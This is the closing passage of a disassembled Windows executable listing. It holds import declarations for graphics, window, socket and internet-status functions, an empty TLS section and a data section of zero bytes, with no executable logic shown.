		extrn CreateBrushIndirect:dword	; DATA XREF: j_CreateBrushIndirectr
		extrn CreateBitmap:dword ; DATA	XREF: j_CreateBitmapr

; 
; Imports from user32.dll
; 
		extrn ReleaseDC:dword	; DATA XREF: j_ReleaseDCr
		extrn MessageBoxA_0:dword ; DATA XREF: j_MessageBoxA_0r
		extrn LoadStringA_0:dword ; DATA XREF: j_LoadStringA_0r
		extrn LoadIconA:dword
		extrn GetSystemMetrics:dword ; DATA XREF: j_GetSystemMetricsr
		extrn GetSysColor:dword	; DATA XREF: j_GetSysColorr
		extrn GetIconInfo:dword	; DATA XREF: j_GetIconInfor
					; Get information about	the specified icon or cursor
		extrn GetDC:dword	; DATA XREF: j_GetDCr
		extrn DrawIconEx:dword	; DATA XREF: j_DrawIconExr
		extrn DestroyWindow:dword ; DATA XREF: j_DestroyWindowr
		extrn DestroyIcon:dword	; DATA XREF: j_DestroyIconr
		extrn CreateIcon:dword	; DATA XREF: j_CreateIconr

; 
; Imports from shell32.dll
; 
		extrn ExtractIconA:dword ; DATA	XREF: j_ExtractIconAr

; 
; Imports from wsock32.dll
; 
		extrn WSAStartup:dword	; DATA XREF: j_WSAStartupr
					; Initiate use of the Windows Sockets
		extrn WSAGetLastError:dword ; DATA XREF: j_WSAGetLastErrorr
		extrn gethostname:dword	; DATA XREF: j_gethostnamer
		extrn getservbyname:dword ; DATA XREF: j_getservbynamer
		extrn getprotobynumber:dword ; DATA XREF: j_getprotobynumberr
		extrn gethostbyname:dword ; DATA XREF: j_gethostbynamer
		extrn socket:dword	; DATA XREF: j_socketr
					; Create a socket which	is bound to a
					; specific service provider
		extrn send:dword	; DATA XREF: j_sendr
					; Send data on a connected socket
		extrn select:dword	; DATA XREF: j_selectr
					; Determine the	status of one or more
					; sockets, waiting if necessary
		extrn recv:dword	; DATA XREF: j_recvr
					; Receive data from a socket
		extrn ioctlsocket:dword	; DATA XREF: j_ioctlsocketr
					; Control the mode of a	socket
		extrn inet_addr:dword	; DATA XREF: j_inet_addrr
					; Convert a string containing an
					; IP-dotted address into an in_addr
		extrn htons:dword	; DATA XREF: j_htonsr
					; Convert a ushort from	host to	TCP/IP network byte order
		extrn getsockname:dword	; DATA XREF: j_getsocknamer
		extrn getpeername:dword	; DATA XREF: j_getpeernamer
		extrn connect:dword	; DATA XREF: j_connectr
		extrn closesocket:dword	; DATA XREF: j_closesocketr

; 
; Imports from wininet.dll
; 
		extrn InternetGetConnectedState:dword
					; DATA XREF: j_InternetGetConnectedStater


; Section 5. (virtual address 00021000)
; Virtual size			: 0000000C (	 12.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 0001DC00
; Flags	C0000000: Readable Writable
; Alignment	: 16 bytes ?
; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Regular
_tls		segment	para public '' use32
		assume cs:_tls
		;org 421000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
unk_421000	db ? ; unexplored	; DATA XREF: .rdata:00422000o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
_tls		ends

; Section 6. (virtual address 00022000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0001DC00
; Flags	50000040: Data Shareable Readable
; Alignment	: 16 bytes ?
; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 422000h
		dd offset unk_421000
		dd 42100Ch
		dd offset dword_41E4CC
		dd offset unk_422010
unk_422010	db    0	;		; DATA XREF: .rdata:0042200Co
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
_rdata		ends


		end start
